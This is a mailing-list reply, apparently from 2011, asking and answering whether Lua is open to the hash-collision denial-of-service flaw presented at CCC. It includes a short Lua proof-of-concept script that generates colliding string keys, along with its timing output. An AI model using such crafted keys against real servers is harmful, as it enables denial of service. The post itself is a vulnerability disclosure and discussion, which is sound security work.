Re: Hash Table Collisions (n.runs-SA-2011.004)

[Xavier Wang <weasley.wx@...>]

2011/12/30 fredrik danerklint <fredan-lua@fredan.se>:
> Hi!
>
> I've would like to know if Lua is vulnerably to this hash collision that was
> presented at CCC yesterday.
>
> Slashdot articel
> http://developers.slashdot.org/story/11/12/29/1352219/microsoft-issuing-unusual-out-of-band-security-update
>
> The presentation on youtube:
> http://www.youtube.com/watch?v=R2Cq3CLI6H8
>
> And the information about this:
> http://packetstormsecurity.org/files/108209/n.runs-SA-2011.004.txt
>
> Overview:
>
> Hash tables are a commonly used data structure in most programming
> languages. Web application servers or platforms commonly parse
> attacker-controlled POST form data into hash tables automatically, so
> that they can be accessed by application developers.
>
> If the language does not provide a randomized hash function or the
> application server does not recognize attacks using multi-collisions, an
> attacker can degenerate the hash table by sending lots of colliding
> keys. The algorithmic complexity of inserting n elements into the table
> then goes to O(n**2), making it possible to exhaust hours of CPU time
> using a single HTTP request.
>
>
> They did mention that Lua could be vulnerably to this kind of an attack at
> the end of the presentation, so I would like to know if it is or not.
>
> --
> //fredan
>

Yes, it will affects Lua, this is the result of below script on my
acer box (Lua 5.2):

lua  -- test.lua
gen_key1
gen_key1 use time:      2.917
gen_key2
gen_key2 use time:      93.538
begin 1
use time:       0.016000000000005
begin 2
use time:       6.427
Hit any key to close this window...

the script is very simple:


local keys_1 = {} do
    print "gen_key1"
    local time1 = os.clock()
    for i = 1, 255 do
        for j = 1, 255 do
            local s = ""
            for k = 1,32 do
                s = s .. math.random(0,9)
            end
            keys_1[#keys_1+1] = s
        end
    end
    print("gen_key1 use time: ", os.clock() - time1)
end

local keys_2 = {} do
    print "gen_key2"
    local time2 = os.clock()
    for i = 1, 255 do
        for j = 1, 255 do
            local s = ('\0'):rep(28) .. string.char(i) .. "\0" ..
string.char(j) .. "\0"
            keys_2[#keys_2+1] = s
        end
    end
    print("gen_key2 use time: ", os.clock() - time2)
end

do
    local t1 = {}
    print"begin 1"
    local time1 = os.clock()
    for i = 1, 255*255 do
        t1[keys_1[i]] = 1
    end
    print("use time:", os.clock()-time1)
end

do
    local t2 = {}
    print"begin 2"
    local time2 = os.clock()
    for i = 1, 255*255 do
        t2[keys_2[i]] = 1
    end
    print("use time:", os.clock()-time2)
end

-- cc: cc='lua'


by choose a special key, the string table are slower least 32 times,
and the table insert are slower least 401 times.

but the string table issue is more important: Lua has only one global
string table. it may be very easy to attack.